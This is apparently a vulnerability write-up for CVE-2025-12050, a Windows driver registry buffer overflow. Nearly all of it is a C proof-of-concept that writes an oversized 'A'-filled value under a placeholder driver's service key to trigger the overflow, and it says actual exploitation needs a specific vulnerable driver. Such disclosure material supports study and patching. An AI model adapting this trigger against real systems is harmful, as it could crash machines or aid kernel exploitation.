CVE-2025-12050 Windows驱动RTL_QUERY_REGISTRY_DIRECT缓冲区溢出漏洞

// CVE-2025-12050 PoC - Registry Buffer Overflow Trigger // This PoC demonstrates the concept of triggering a buffer overflow // through malicious registry values read by drivers using RTL_QUERY_REGISTRY_DIRECT #include <windows.h> #include <stdio.h> #define MALICIOUS_REG_PATH "SYSTEM\\CurrentControlSet\\Services\\VulnerableDriver" int main() { HKEY hKey; DWORD dwDisposition; printf("[*] CVE-2025-12050 Registry Buffer Overflow PoC\n"); printf("[*] Target: Driver using RTL_QUERY_REGISTRY_DIRECT\n\n"); // Create or open the target registry key LONG lResult = RegCreateKeyExA( HKEY_LOCAL_MACHINE, MALICIOUS_REG_PATH, 0, NULL, REG_OPTION_VOLATILE, KEY_WRITE, NULL, &hKey, &dwDisposition ); if (lResult != ERROR_SUCCESS) { printf("[-] Failed to create registry key. Error: %d\n", lResult); return 1; } printf("[+] Registry key created/opened successfully\n"); // Create a malicious value with oversized data // This simulates the overflow condition that the driver will trigger char maliciousData[4096]; memset(maliciousData, 0x41, sizeof(maliciousData)); // Fill with 'A' lResult = RegSetValueExA( hKey, "MaliciousValue", 0, REG_BINARY, (LPBYTE)maliciousData, sizeof(maliciousData) ); if (lResult == ERROR_SUCCESS) { printf("[+] Malicious registry value written successfully\n"); printf("[+] Value size: %d bytes\n", sizeof(maliciousData)); printf("[*] When driver reads this value via RTL_QUERY_REGISTRY_DIRECT,\n"); printf("[*] it may trigger buffer overflow if buffer is smaller\n"); } RegCloseKey(hKey); printf("\n[*] Note: This PoC creates the registry conditions but actual\n"); printf("[*] exploitation requires specific driver with vulnerable code.\n"); return 0; }